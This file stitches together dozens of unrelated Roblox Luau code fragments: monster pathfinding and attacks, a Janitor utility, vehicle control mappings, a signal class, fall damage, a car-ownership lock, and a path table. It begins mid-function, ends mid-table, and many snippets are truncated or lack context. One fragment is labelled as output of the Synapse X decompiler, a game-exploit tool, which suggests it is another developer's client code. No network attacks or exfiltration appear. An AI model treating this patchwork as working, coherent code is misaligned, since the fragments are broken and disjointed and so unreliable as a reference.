closestIndex local humanoid = Self:FindFirstChild 'Humanoid' if humanoid ~= nil and humanoid:IsA'Humanoid' then humanoid:MoveTo(closest) end if Monster:IsAlive() and Monster:TargetIsValid() then Monster:TryJumpCheck() Monster:TryAttack() end if closestIndex == #Data.PathCoords then -- Reached the end of the path, force a new check Data.AutoRecompute = true end end end function Monster:TryJumpCheck() if tick() - Data.LastJumpCheck > 1/Info.JumpCheckFrequency then Monster:JumpCheck() end end function Monster:TryAttack() if tick() - Data.LastAttack > 1/Settings.AttackFrequency.Value then Monster:Attack() end end function Monster:Attack() local myPos, targetPos = Monster:GetCFrame().p, Monster:GetTargetCFrame().p if (myPos - targetPos).magnitude <= Settings.AttackRange.Value then wait(1) Mind.CurrentTargetHumanoid.Value:TakeDamage(Settings.AttackDamage.Value) Data.LastAttack = tick() Data.AttackTrack:Play() end end function Monster:JumpCheck() -- Do a raycast to check if we need to jump local myCFrame = Monster:GetCFrame() local checkVector = (Monster:GetTargetCFrame().p - myCFrame.p).unit*2 local hit, pos = Workspace:FindPartOnRay( Ray.new( myCFrame.p + Vector3.new(0, -2.4, 0), checkVector ), Self ) if hit ~= nil and not hit:IsDescendantOf(Mind.CurrentTargetHumanoid.Value.Parent) then -- Do a slope check to make sure we're not walking up a ramp local hit2, pos2 = Workspace:FindPartOnRay( Ray.new( myCFrame.p + Vector3.new(0, -2.3, 0), checkVector ), Self ) if hit2 == hit then if ((pos2 - pos)*Vector3.new(1,0,1)).magnitude < 0.05 then -- Will pass for any ramp with <2 slope Self.Humanoid.Jump = true end end end Data.LastJumpCheck = tick() end function Monster:Connect() Mind.CurrentTargetHumanoid.Changed:connect(function(humanoid) if humanoid ~= nil then assert(humanoid:IsA'Humanoid', 'Monster target must be a humanoid') Monster:RecomputePath() end end) Self.Respawn.OnInvoke = function(point) Monster:Respawn(point) end end function Monster:Initialize() Monster:Connect() if Settings.AutoDetectSpawnPoint.Value then Settings.SpawnPoint.Value = Monster:GetCFrame().p end end function Monster:Respawn(point) local point = point or Settings.SpawnPoint.Value for index, obj in next, Data.BaseMonster:Clone():GetChildren() do if obj.Name == 'Configurations' or obj.Name == 'Mind' or obj.Name == 'Respawned' or obj.Name == 'Died' or obj.Name == 'MonsterScript' or obj.Name == 'Respawn' then obj:Destroy() else Self[obj.Name]:Destroy() obj.Parent = Self end end Monster:InitializeUnique() Self.Parent = Workspace Self.HumanoidRootPart.CFrame = CFrame.new(point) Settings.SpawnPoint.Value = point Self.Respawned:Fire() end function Monster:InitializeUnique() Data.AttackTrack = Self.Humanoid:LoadAnimation(script.Attack) end function Monster:ReevaluateTarget() local currentTarget = Mind.CurrentTargetHumanoid.Value if currentTarget ~= nil and currentTarget:IsA'Humanoid' then local character = currentTarget.Parent if character ~= nil then local player = Info.Players:GetPlayerFromCharacter(character) if player ~= nil then if not player.Neutral and player.TeamColor == Settings.FriendlyTeam.Value then Mind.CurrentTargetHumanoid.Value = nil end end end if currentTarget == Mind.CurrentTargetHumanoid.Value then local torso = currentTarget.Torso if torso ~= nil and torso:IsA 'BasePart' then if Settings.CanGiveUp.Value and (torso.Position - Monster:GetCFrame().p).magnitude > Monster:GetMaximumDetectionDistance() then Mind.CurrentTargetHumanoid.Value = nil end end end end end
--[[** Cleans up whatever `Object` was set to this namespace by the 3rd parameter of `:Add()`. @param [t:any] Index The index you want to remove. @returns [t:Janitor] The same janitor, for chaining reasons. **--]]
function Janitor.__index:Remove(Index) local This = self[IndicesReference] if This then local Object = This[Index] if Object then local MethodName = self[Object] if MethodName then if MethodName == true then Object() else local ObjectMethod = Object[MethodName] if ObjectMethod then ObjectMethod(Object) end end self[Object] = nil end This[Index] = nil end end return self end
--colbert was way too lazy to make his own this time.
Tool = script.Parent; local arms = nil local torso = nil local welds = {} function Equip(mouse) wait(0.01) arms = {Tool.Parent:FindFirstChild("Left Arm"), Tool.Parent:FindFirstChild("Right Arm")} torso = Tool.Parent:FindFirstChild("Torso") if arms ~= nil and torso ~= nil then local sh = {torso:FindFirstChild("Left Shoulder"), torso:FindFirstChild("Right Shoulder")} if sh ~= nil then local yes = true if yes then yes = false sh[1].Part1 = nil sh[2].Part1 = nil local weld1 = Instance.new("Weld") weld1.Part0 = torso weld1.Parent = torso weld1.Part1 = arms[1] weld1.C1 = CFrame.new(0.8,0.5,0.4)*CFrame.Angles(math.rad(270),math.rad(40),0) welds[1] = weld1 local weld2 = Instance.new("Weld") weld2.Part0 = torso weld2.Parent = torso weld2.Part1 = arms[2] weld2.C1 = CFrame.new(-1.2,0.5,0.4)*CFrame.Angles(math.rad(270),math.rad(-5),0) welds[2] = weld2 end else print("sh") end else print("arms") end end function Unequip(mouse) if arms ~= nil and torso ~= nil then local sh = {torso:FindFirstChild("Left Shoulder"), torso:FindFirstChild("Right Shoulder")} if sh ~= nil then local yes = true if yes then yes = false sh[1].Part1 = arms[1] sh[2].Part1 = arms[2] welds[1].Parent = nil welds[2].Parent = nil end else print("sh") end else print("arms") end end Tool.Equipped:connect(Equip) Tool.Unequipped:connect(Unequip)
--[[[Default Controls]]
--Peripheral Deadzones Tune.Peripherals = { MSteerWidth = 67 , -- Mouse steering control width (0 - 100% of screen width) MSteerDZone = 10 , -- Mouse steering deadzone (0 - 100%) ControlLDZone = 3 , -- Controller steering L-deadzone (0 - 100%) ControlRDZone = 3 , -- Controller steering R-deadzone (0 - 100%) } Tune.KickdownWindow = .25 --Time (seconds) in which you must double click throttle key Tune.KickdownRPMCap = 5000 --RPM at which downshifts will no longer occur in the event of a kickdown Tune.LaunchBuildup = 2500 --RPM in which launch control will build up to --Control Mapping Tune.Controls = { --Keyboard Controls --Mode Toggles ToggleTCS = Enum.KeyCode.T , ToggleABS = Enum.KeyCode.Y , ToggleTransMode = Enum.KeyCode.M , --Primary Controls Throttle = Enum.KeyCode.Up , Brake = Enum.KeyCode.Down , SteerLeft = Enum.KeyCode.Left , SteerRight = Enum.KeyCode.Right , --Secondary Controls Throttle2 = Enum.KeyCode.W , Brake2 = Enum.KeyCode.S , SteerLeft2 = Enum.KeyCode.A , SteerRight2 = Enum.KeyCode.D , --Manual Transmission ShiftUp = Enum.KeyCode.E , ShiftDown = Enum.KeyCode.Q , Clutch = Enum.KeyCode.LeftShift , --Handbrake PBrake = Enum.KeyCode.P , --Mouse Controls MouseThrottle = Enum.UserInputType.MouseButton1 , MouseBrake = Enum.UserInputType.MouseButton2 , MouseClutch = Enum.KeyCode.W , MouseShiftUp = Enum.KeyCode.E , MouseShiftDown = Enum.KeyCode.Q , MousePBrake = Enum.KeyCode.LeftShift , --Controller Mapping ContlrThrottle = Enum.KeyCode.ButtonR2 , ContlrBrake = Enum.KeyCode.ButtonL2 , ContlrSteer = Enum.KeyCode.Thumbstick1 , ContlrShiftUp = Enum.KeyCode.ButtonY , ContlrShiftDown = Enum.KeyCode.ButtonX , ContlrClutch = Enum.KeyCode.ButtonR1 , ContlrPBrake = Enum.KeyCode.ButtonL1 , ContlrToggleTMode = Enum.KeyCode.DPadUp , ContlrToggleTCS = Enum.KeyCode.ButtonA , ContlrToggleABS = Enum.KeyCode.ButtonA , }
--[[ Script Variables ]]
-- while not Players.LocalPlayer do wait() end local LocalPlayer = Players.LocalPlayer local Mouse = LocalPlayer:GetMouse() local PlayerGui = LocalPlayer:WaitForChild('PlayerGui') local ScreenGui = nil local ShiftLockIcon = nil local InputCn = nil local IsShiftLockMode = false local IsShiftLocked = false local IsActionBound = false local IsInFirstPerson = false
-- Head
character.RagdollRig.ConstraintHead.Attachment0 = Neck character.RagdollRig.ConstraintHead.Attachment1 = Head
--[=[ Requires all the modules that are descendants of the given parent. ]=]
function KnitServer.AddServicesDeep(parent: Instance): {Service} local addedServices = {} for _,v in ipairs(parent:GetDescendants()) do if not v:IsA("ModuleScript") then continue end table.insert(addedServices, require(v)) end return addedServices end
--script.Parent.JJ.Velocity = script.Parent.JJ.CFrame.lookVector *script.Parent.Speed.Value --script.Parent.JJJ.Velocity = script.Parent.JJJ.CFrame.lookVector *script.Parent.Speed.Value
script.Parent.JJJJ.Velocity = script.Parent.JJJJ.CFrame.lookVector *script.Parent.Speed.Value script.Parent.K.Velocity = script.Parent.K.CFrame.lookVector *script.Parent.Speed.Value
----------------------------------------------------------------------- -- converts a IEEE754 double number to an 8-byte little-endian string -- * luaU:from_double() and luaU:from_int() are adapted from ChunkBake -- * supports +/- Infinity, but not denormals or NaNs -----------------------------------------------------------------------
function luaU:from_double(x) local function grab_byte(v) local c = v % 256 return (v - c) / 256, string.char(c) end local sign = 0 if x < 0 then sign = 1; x = -x end local mantissa, exponent = math.frexp(x) if x == 0 then -- zero mantissa, exponent = 0, 0 elseif x == 1/0 then mantissa, exponent = 0, 2047 else mantissa = (mantissa * 2 - 1) * math.ldexp(0.5, 53) exponent = exponent + 1022 end local v, byte = "" -- convert to bytes x = math.floor(mantissa) for i = 1,6 do x, byte = grab_byte(x); v = v..byte -- 47:0 end x, byte = grab_byte(exponent * 16 + x); v = v..byte -- 55:48 x, byte = grab_byte(sign * 128 + x); v = v..byte -- 63:56 return v end
-- Decompiled with the Synapse X Luau decompiler.
local v1 = require(game.Players.LocalPlayer:WaitForChild("PlayerScripts"):WaitForChild("PlayerModule")):GetControls(); local v2 = game["Run Service"]; local l__UserInputService__3 = game:GetService("UserInputService"); local l__TweenService__4 = game:GetService("TweenService"); local l__ProximityPromptService__5 = game:GetService("ProximityPromptService"); local v6 = script:FindFirstAncestor("MainUI"); local l__Highlight__7 = script:WaitForChild("Highlight"); local u1 = require(script.Parent); local l__HintFrame__2 = v6:WaitForChild("MainFrame"):WaitForChild("HintFrame"); local l__TextService__3 = game:GetService("TextService"); local u4 = require(script:WaitForChild("MouseIcons")); local u5 = require(script:WaitForChild("Hint")); local u6 = require(script:WaitForChild("HintConsole")); local u7 = nil; function update(p1, p2) task.spawn(function() if u1.platform == "mobile" then return; end; if p1.ObjectText == "Hint" then local v8 = l__HintFrame__2:Clone(); v8.Parent = l__HintFrame__2.Parent; v8.Title.Text = p1.ObjectText; v8.Desc.Text = p1.ActionText; v8.Key.Text = p1.KeyboardKeyCode.Name; v8.Bar.Bar.Size = UDim2.new(0, 0, 1, 0); v8.Bar.Bar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Sine", 0.1, true); local v9 = UDim.new(0.85, -10); local v10 = l__TextService__3:GetTextSize(v8.Desc.Text, v8.Desc.AbsoluteSize.Y, Enum.Font.GothamBold, v8.Desc.AbsoluteSize); local l__X__11 = v8.Key.AbsoluteSize.X; v8.CenterImage.Image = u4.getIcon(p1.ObjectText); if p1.KeyboardKeyCode.Name == "RightMeta" then if u5[p1.ActionText] == nil then v8.Title.Visible = false; v8.Back.Size = UDim2.new(0.05, math.max(v8.Desc.TextBounds.X + l__X__11, v8.Title.TextBounds.X), 0.1, 0); v8.Key.Text = " "; v8.Key.Position = UDim2.new(0.5, -(v10.X / 2) + l__X__11 / 4, v9.Scale, v9.Offset); v8.Desc.Position = UDim2.new(0.5, 0, v9.Scale, v9.Offset); v8.Key.Visible = false; else v8.Title.Visible = false; v8.Back.Size = UDim2.new(0.05, math.max(v8.Desc.TextBounds.X + l__X__11 + l__X__11, v8.Title.TextBounds.X), 0.1, 0); v8.Key.Text = u5[p1.ActionText]; v8.Key.Position = UDim2.new(0.5, -(v10.X / 2) + l__X__11 / 4, v9.Scale, v9.Offset); v8.Desc.Position = UDim2.new(0.5, l__X__11 / 2 + l__X__11 / 4, v9.Scale, v9.Offset); v8.Key.Visible = true; end; else v8.Title.Visible = false; v8.Back.Size = UDim2.new(0.05, math.max(v8.Desc.TextBounds.X + l__X__11 + l__X__11, v8.Title.TextBounds.X), 0.1, 0); v8.Key.Text = u5[p1.ActionText]; v8.Key.Position = UDim2.new(0.5, -(v10.X / 2) + l__X__11 / 4, v9.Scale, v9.Offset); v8.Desc.Position = UDim2.new(0.5, l__X__11 / 2 + l__X__11 / 4, v9.Scale, v9.Offset); v8.Key.Visible = true; end; if u1.platform == "console" then v8.Key.Visible = false; v8.KeyXbox.Image = u6[p1.ActionText]; v8.KeyXbox.Size = v8.Key.Size; v8.KeyXbox.Position = v8.Key.Position; v8.KeyXbox.Visible = true; else v8.KeyXbox.Visible = false; end; ({}).BackgroundColor3 = Color3.fromRGB(0, 0, 0); if 0 < p1.HoldDuration then v8.Bar.Visible = true; else v8.Bar.Visible = false; end; script.Holding:Stop(); local l__CurrentCamera__12 = workspace.CurrentCamera; local l__Position__13 = l__CurrentCamera__12.CFrame.Position; local l__Parent__14 = p1.Parent; local v15 = false; local l__Position__16 if l__Parent__14 then if not l__Parent__14:IsA("BasePart") then if l__Parent__14:IsA("Model") then l__Position__16 = l__Parent__14:GetPivot().Position; v15 = true; elseif l__Parent__14:IsA("Attachment") then local l__WorldPosition__17 = l__Parent__14.WorldPosition; end; else l__Position__16 = l__Parent__14:GetPivot().Position; v15 = true; end; v8.Visible = true; v8.Position = UDim2.new(0.5, 0, 0.5, 0); local v18 = 1 - 1; local v19 local v20, v21 = l__CurrentCamera__12:WorldToScreenPoint(Vector3.new(0,0.2,0)); if not l__Parent__14:IsA("BasePart") then if not l__Parent__14:IsA("Model") then if l__Parent__14:IsA("Attachment") then while true do if p1 then else v8.Visible = false; break; end; if u7 == u7 then else v8.Visible = false; break; end; if u7 then else v8.Visible = false; break; end; if u7.Connected then else v8.Visible = false; break; end; if v15 then v19 = l__Parent__14:GetPivot().Position; else v19 = l__Parent__14.WorldPosition; end; if v21 then v8.Visible = true; v8.Position = UDim2.new(0, math.clamp(v20.X, 80, v6.AbsoluteSize.X - 80), 0, math.clamp(v20.Y, 80, v6.AbsoluteSize.Y - 80)); else v8.Visible = false; end; task.wait(); if 0 <= 1 then if v18 < 100000000 then else break; end; elseif 100000000 < v18 then else break; end; v18 = v18 + 1; end; end; else v18 = 1 - 1; while true do if p1 then else v8.Visible = false; break; end; if u7 == u7 then else v8.Visible = false; break; end; if u7 then else v8.Visible = false; break; end; if u7.Connected then else v8.Visible = false; break; end; if v15 then v19 = l__Parent__14:GetPivot().Position; else v19 = l__Parent__14.WorldPosition; end; v20, v21 = l__CurrentCamera__12:WorldToScreenPoint(v19 - Vector3.new(0, 0.2, 0)); if v21 then v8.Visible = true; v8.Position = UDim2.new(0, math.clamp(v20.X, 80, v6.AbsoluteSize.X - 80), 0, math.clamp(v20.Y, 80, v6.AbsoluteSize.Y - 80)); else v8.Visible = false; end; task.wait(); if 0 <= 1 then if v18 < 100000000 then else break; end; elseif 100000000 < v18 then else break; end; v18 = v18 + 1; end; end; else v18 = 1 - 1; while true do if p1 then else v8.Visible = false; break; end; if u7 == u7 then else v8.Visible = false; break; end; if u7 then else v8.Visible = false; break; end; if u7.Connected then else v8.Visible = false; break; end; if v15 then v19 = l__Parent__14:GetPivot().Position; else v19 = l__Parent__14.WorldPosition; end; v20, v21 = l__CurrentCamera__12:WorldToScreenPoint(v19 - Vector3.new(0, 0.2, 0)); if v21 then v8.Visible = true; v8.Position = UDim2.new(0, math.clamp(v20.X, 80, v6.AbsoluteSize.X - 80), 0, math.clamp(v20.Y, 80, v6.AbsoluteSize.Y - 80)); else v8.Visible = false; end; task.wait(); if 0 <= 1 then if v18 < 100000000 then else break; end; elseif 100000000 < v18 then else break; end; v18 = v18 + 1; end; end; end; v8.Visible = false; v8:Destroy(); end; end); end; l__ProximityPromptService__5.PromptShown:Connect(function(p3) if p3.ObjectText == "Hint" then u7 = p3.Changed:Connect(function() update(p3); end); update(p3); end; end); l__ProximityPromptService__5.PromptHidden:Connect(function(p4) if p4.ObjectText == "Hint" then pcall(function() u7:Disconnect(); end); end; end); l__ProximityPromptService__5.PromptTriggered:Connect(function(p5) if p5.ObjectText == "Hint" then update(p5, true); end; end); l__ProximityPromptService__5.PromptButtonHoldBegan:Connect(function(p6) if p6.ObjectText == "Hint" then update(p6); end; end); l__ProximityPromptService__5.PromptButtonHoldEnded:Connect(function(p7) if p7.ObjectText == "Hint" then update(p7); end; end);
-- Directories
SharedModules = ReplicatedStorage:WaitForChild("SharedModules")
-- theObj : (variant) the table with values to print
return function(theObj) local pathToObject = theObj.Name local currentObj = theObj while currentObj.Parent ~= nil do pathToObject = string.format("%s.%s", currentObj.Parent.Name, pathToObject) currentObj = currentObj.Parent end return pathToObject end
-------- OMG HAX
r = game:service("RunService") Tool = script.Parent local equalizingForce = 236 / 1.2 -- amount of force required to levitate a mass local gravity = 0.75 -- things float at > 1 local ghostEffect = nil local massCon1 = nil local massCon2 = nil local head = nil function recursiveGetLift(node) local m = 0 local c = node:GetChildren() if (node:FindFirstChild("Head") ~= nil) then head = node:FindFirstChild("Head") end -- nasty hack to detect when your parts get blown off for i=1,#c do if c[i].className == "Part" then if (head ~= nil and (c[i].Position - head.Position).magnitude < 10) then -- GROSS if c[i].Name == "Handle" then m = m + (c[i]:GetMass() * equalizingForce * 1) -- hack that makes hats weightless, so different hats don't change your jump height else m = m + (c[i]:GetMass() * equalizingForce * gravity) end end end m = m + recursiveGetLift(c[i]) end return m end function onMassChanged(child, char) if (ghostEffect ~= nil) then ghostEffect.force = Vector3.new(0, recursiveGetLift(char) ,0) end end function UpdateGhostState(isUnequipping) if isUnequipping == true then ghostEffect:Remove() ghostEffect = nil massCon1:disconnect() massCon2:disconnect() else if ghostEffect == nil then local char = Tool.Parent if char == nil then return end ghostEffect = Instance.new("BodyForce") ghostEffect.Name = "GravityCoilEffect" ghostEffect.force = Vector3.new(0, recursiveGetLift(char) ,0) ghostEffect.Parent = char.Head ghostChar = char massCon1 = char.ChildAdded:connect(function(child) onMassChanged(child, char) end) massCon2 = char.ChildRemoved:connect(function(child) onMassChanged(child, char) end) end end end function onEquipped() Tool.Handle.CoilSound:Play() UpdateGhostState(false) end function onUnequipped() UpdateGhostState(true) end script.Parent.Equipped:connect(onEquipped) script.Parent.Unequipped:connect(onUnequipped)
-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote
local emoteNames = { wave = false, point = false, dance = true, laugh = false, cheer = false} math.randomseed(tick())
-- options -------------------------
setupmode = "Auto" -- Manual or Auto (if you want to pick what plugins you have yourself or you want it to be automated) soundplugin = "StockSound" -- StockSound, SoundSuite or 1.5 Sound (no others are supported, sorry!) (MANUAL ONLY) camkey = "v" -- the key you use for first person camera level = 32 -- 0% - 100% exceptions = {"Engine","Ignition","Smoke","Horn"} -- put names of audios to ignore here (AUTO ONLY)
--[[Utilities.tweenFoV = function(FOV,step) coroutine.resume(coroutine.create(function() local fv0 = cam.FieldOfView for i = 0,90,step do local r = ((math.sin(math.rad(i))+1)/2) cam.FieldOfView = (Vector3.new(fv0,0,0):Lerp(Vector3.new(FOV,0,0),r).X) rs:wait() end end)) end]]
-- Utilities.tweenFoV = function(goal, frames) if not _G.tweeningFov then coroutine.resume(coroutine.create(function() SFn = SFn and SFn + 1 or 0 local SFn_S = SFn for i = 1, frames do if SFn ~= SFn_S then break end cam.FieldOfView = cam.FieldOfView + (goal - cam.FieldOfView) * (i / frames) game:GetService("RunService").RenderStepped:wait() --_G.tweeningFov = true end --_G.tweeningFov = false end)) end end Utilities.tweenRoll = function(Roll,step) coroutine.resume(coroutine.create(function() local r0 = cam:GetRoll() for i = -90,90,step do local r = ((math.sin(math.rad(i))+1)/2) cam:SetRoll(Vector3.new(r0,0,0):Lerp(Vector3.new(Roll,0,0),r).X) rs:wait() end end)) end Utilities.Fade = function(target, goal, frames, IsGui) coroutine.resume(coroutine.create(function() for i = 1, frames do if IsGui == true then target.TextTransparency = target.TextTransparency + (goal - target.TextTransparency) * (i / frames) rs:wait() elseif IsGui == false then target.Size = target.Size + (goal - target.Size) * (i / frames) rs:wait() end end end)) end Utilities.FixCam = function() cam.CameraSubject = player.Character.Humanoid cam.CameraType = "Custom" player.Character.Humanoid.WalkSpeed = 32.5 end Utilities.SpawnCam = function(Target) cam.CameraType = "Attach" cam.CameraSubject = Target wait(.05) cam.CoordinateFrame = Target.CFrame cam.CameraType = "Scriptable" player.Character.Humanoid.WalkSpeed = 32.5 end Utilities.tweenCam = function(CO, t) coroutine.resume(coroutine.create(function() COn = COn and COn + 1 or 0 local COn_S = COn for i = 1, t do if COn ~= COn_S then break end char.Humanoid.CameraOffset = char.Humanoid.CameraOffset + (CO - char.Humanoid.CameraOffset) * (i / t) rs:wait() end end)) end Utilities.TweenJoint = function(Joint, newC0, newC1, Alpha, Duration) spawn(function() local newCode = math.random(-1e9, 1e9) --This creates a random code between -1000000000 and 1000000000 local tweenIndicator = nil if (not Joint:findFirstChild("tweenCode")) then --If the joint isn't being tweened, then tweenIndicator = Instance.new("IntValue") tweenIndicator.Name = "tweenCode" tweenIndicator.Value = newCode tweenIndicator.Parent = Joint else tweenIndicator = Joint.tweenCode tweenIndicator.Value = newCode --If the joint is already being tweened, this will change the code, and the tween loop will stop end if Duration <= 0 then --If the duration is less than or equal to 0 then there's no need for a tweening loop if newC0 then Joint.C0 = newC0 end if newC1 then Joint.C1 = newC1 end else local Increment = 1.5 / Duration --Calculate the increment here so it doesn't need to be calculated in the loop local startC0 = Joint.C0 local startC1 = Joint.C1 local X = 0 while true do rs:wait() --This makes the for loop step every 1/60th of a second local newX = X + Increment X = (newX > 90 and 90 or newX) --Makes sure the X never goes above 90 if tweenIndicator.Value ~= newCode then break end --This makes sure that another tween wasn't called on the same joint if newC0 then Joint.C0 = startC0:lerp(newC0, Alpha(X)) end if newC1 then Joint.C1 = startC1:lerp(newC1, Alpha(X)) end if X == 90 then break end --If the tweening is done... end end if tweenIndicator.Value == newCode then --If this tween functions was the last one called on a joint then it will remove the code tweenIndicator:Destroy() end end) end Utilities.Weld = function(p1, p2, c0) local w = Instance.new("Motor6D", p1) w.Part0 = p1 w.Part1 = p2 w.Name = p1.Name w.C0 = c0 or p1.CFrame:inverse() * p2.CFrame return w end return Utilities
-- constants
local EFFECTS = Workspace:WaitForChild("Effects")
-- local placeID_Premium = 2514752346 -- плейс куда телепортируемся
local function onTeleporterTouch(otherPart) local player = Players:GetPlayerFromCharacter(otherPart.Parent) if not player then return end -- If the user already has Premium, teleport them to the Premium-only place if player.MembershipType == Enum.MembershipType.Premium then
-- 2xy0x
local Character repeat wait() until script.Parent:FindFirstChild("Humanoid") Character = script.Parent local Humanoid = Character:WaitForChild("Humanoid") local HRP = Character:WaitForChild("HumanoidRootPart") local Values = require(script.Values) local function CalculateDamage(Magnitude) -- Calculates the amount of damage the player will take from the fall. local afterminus100; local totaldamage; afterminus100 = Magnitude - Values.MinimumFallDamageStuds if afterminus100 >= 0 then totaldamage = Magnitude*Values.DamageMultiplication + 10 else totaldamage = 0 end return totaldamage end Humanoid.StateChanged:Connect(function(oldstate,newstate) local magnitude; local total; if newstate == Enum.HumanoidStateType.Landed then -- Tells when the player landed --print('landed') Values.DontUpdateYet = true; magnitude = (Values.LastStandingPos - HRP.Position).magnitude -- measures the y position of where they fell from, and the Y position they have after they touched the ground. total = CalculateDamage(magnitude) -- Here, the script checks if the total is greater than 0. If it is, then it damages the player and plays the sound. if total > 0 then Humanoid.Health = Humanoid.Health - total script.DamageSound:Play() end Values.DontUpdateYet = false; end end)
--// SProtect by Itzt: V1.0
local M = require(script.Settings) local RS = game:GetService("RunService") local locked = true function count() local z = 0 if M.onlyme then local v = M.owners[1] if game.Players:FindFirstChild(v) then z += 1 else if tonumber(v) ~= nil then if game.Players:GetPlayerByUserId(v) then z += 1 end end end else for i,v in pairs(M.owners) do if game.Players:FindFirstChild(v) then z += 1 else if tonumber(v) ~= nil then if game.Players:GetPlayerByUserId(v) then z += 1 end end end end end return z end function search(t,p) local x = string.lower(p.Name) if table.find(t,x) or table.find(t,p.UserId) then return true else return false end end game.Players.PlayerAdded:connect(function(x) if search(M.owners,x) then --print("Owner of car granted permissions") x.Chatted:connect(function(z) if string.lower(z) == string.lower(M.delmsg) then script.Parent:Destroy() elseif string.lower(z) == string.lower(M.carname.." "..M.unlock) then locked = false elseif string.lower(z) == string.lower(M.carname.." "..M.lock) then locked = true end end) end end) wait(2) for i,x in pairs(game.Players:GetChildren()) do if search(M.owners,x) then --print("Owner of car granted permissions") x.Chatted:connect(function(z) if string.lower(z) == string.lower(M.delmsg) then script.Parent:Destroy() elseif string.lower(z) == string.lower(M.carname.." "..M.unlock) then locked = false elseif string.lower(z) == string.lower(M.carname.." "..M.lock) then locked = true end end) end end if (RS:IsStudio() and M.studioperms) then warn("studio detected, car will not lock") elseif count() == 0 then warn("no owners found, deleting") script.Parent:Destroy() script:Destroy() end game.Players.PlayerRemoving:connect(function(x) if count() == 0 then script.Parent:Destroy() end end) script.Parent.DriveSeat.ChildAdded:connect(function(child) if child.Name == "SeatWeld" then if child.Part1.Name == "HumanoidRootPart" then local x = game.Players:GetPlayerFromCharacter(child.Part1.Parent) if search(M.owners,x) or (RS:IsStudio() and M.studioperms) or (locked==false) then else wait() --prevent the car from becoming unusable child:Destroy() if M.lethal then x.Character.Humanoid.Health -= x.Character.Humanoid.Health else x:LoadCharacter() end end end end end)
--[[ A limited, simple implementation of a Signal. Handlers are fired in order, and (dis)connections are properly handled when executing an event. ]]
local function immutableAppend(list, ...) local new = {} local len = #list for key = 1, len do new[key] = list[key] end for i = 1, select("#", ...) do new[len + i] = select(i, ...) end return new end local function immutableRemoveValue(list, removeValue) local new = {} for i = 1, #list do if list[i] ~= removeValue then table.insert(new, list[i]) end end return new end local Signal = {} Signal.__index = Signal function Signal.new(store) local self = { _listeners = {}, _store = store } setmetatable(self, Signal) return self end function Signal:connect(callback) if typeof(callback) ~= "function" then error("Expected the listener to be a function.") end if self._store and self._store._isDispatching then error( 'You may not call store.changed:connect() while the reducer is executing. ' .. 'If you would like to be notified after the store has been updated, subscribe from a ' .. 'component and invoke store:getState() in the callback to access the latest state. ' ) end local listener = { callback = callback, disconnected = false, connectTraceback = debug.traceback(), disconnectTraceback = nil } self._listeners = immutableAppend(self._listeners, listener) local function disconnect() if listener.disconnected then error(( "Listener connected at: \n%s\n" .. "was already disconnected at: \n%s\n" ):format( tostring(listener.connectTraceback), tostring(listener.disconnectTraceback) )) end if self._store and self._store._isDispatching then error("You may not unsubscribe from a store listener while the reducer is executing.") end listener.disconnected = true listener.disconnectTraceback = debug.traceback() self._listeners = immutableRemoveValue(self._listeners, listener) end return { disconnect = disconnect } end function Signal:fire(...) for _, listener in ipairs(self._listeners) do if not listener.disconnected then listener.callback(...) end end end return Signal
--[[Install Function]]
-- function install(asset, directory) if asset and directory then asset.Parent = directory else warn("Failed to install '"..dir.Name.."'; Specified asset to install or directory does not exist.") end end
--Made by Luckymaxer
Tool = script.Parent Handle = Tool:WaitForChild("Handle") Sounds = {} for i, v in pairs(Handle:GetChildren()) do if v:IsA("Sound") then table.insert(Sounds, v) end end function Activated() if not Tool.Enabled then return end Tool.Enabled = false Sounds[math.random(1, #Sounds)]:Play() wait(1) Tool.Enabled = true end Tool.Activated:connect(Activated)
-- if human.Health <= 0 then -- torso.Velocity = (torso.Position - position).unit * 10; -- print("Dead"); -- end
print("Took "..(100-(distance-radius)*(100/radius)).." Damage") end end
--[=[ @return boolean Returns `true` if the property object is ready to be used. In other words, it has successfully gained connection to the server-side version and has synced in the initial value. ```lua if clientRemoteProperty:IsReady() then local value = clientRemoteProperty:Get() end ``` ]=]
function ClientRemoteProperty:IsReady(): boolean return self._ready end
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
local autoscaling = false --Estimates top speed local UNITS = { --Click on speed to change units --First unit is default { units = "MPH" , scaling = (10/12) * (60/88) , -- 1 stud : 10 inches | ft/s to MPH maxSpeed = 180 , spInc = 20 , -- Increment between labelled notches }, { units = "KM/H" , scaling = (10/12) * 1.09728 , -- 1 stud : 10 inches | ft/s to KP/H maxSpeed = 300 , spInc = 20 , -- Increment between labelled notches }, { units = "SPS" , scaling = 1 , -- Roblox standard maxSpeed = 330 , spInc = 30 , -- Increment between labelled notches } }
--Precalculated paths
local t,f,n=true,false,{} local r={ [58]={{29,31,32,34,35,39,41,30,56,58},t}, [49]={{29,28,44,45,49},t}, [16]={n,f}, [19]={{29,31,32,34,35,39,41,30,56,58,20,19},t}, [59]={{29,31,32,34,35,39,41,59},t}, [63]={{29,31,32,34,35,39,41,30,56,58,23,62,63},t}, [34]={{29,31,32,34},t}, [21]={{29,31,32,34,35,39,41,30,56,58,20,21},t}, [48]={{29,28,44,45,49,48},t}, [27]={{29,28,27},t}, [14]={n,f}, [31]={{29,31},t}, [56]={{29,31,32,34,35,39,41,30,56},t}, [29]={{29},t}, [13]={n,f}, [47]={{29,28,44,45,49,48,47},t}, [12]={n,f}, [45]={{29,28,44,45},t}, [57]={{29,31,32,34,35,39,41,30,56,57},t}, [36]={{29,31,32,33,36},t}, [25]={{29,28,27,26,25},t}, [71]={{29,31,32,34,35,39,41,59,61,71},t}, [20]={{29,31,32,34,35,39,41,30,56,58,20},t}, [60]={{29,31,32,34,35,39,41,60},t}, [8]={n,f}, [4]={n,f}, [75]={{29,31,32,34,35,39,41,59,61,71,72,76,73,75},t}, [22]={{29,31,32,34,35,39,41,30,56,58,20,21,22},t}, [74]={{29,31,32,34,35,39,41,59,61,71,72,76,73,74},t}, [62]={{29,31,32,34,35,39,41,30,56,58,23,62},t}, [1]={n,f}, [6]={n,f}, [11]={n,f}, [15]={n,f}, [37]={{29,31,32,33,36,37},t}, [2]={n,f}, [35]={{29,31,32,34,35},t}, [53]={{29,28,44,45,49,48,47,52,53},t}, [73]={{29,31,32,34,35,39,41,59,61,71,72,76,73},t}, [72]={{29,31,32,34,35,39,41,59,61,71,72},t}, 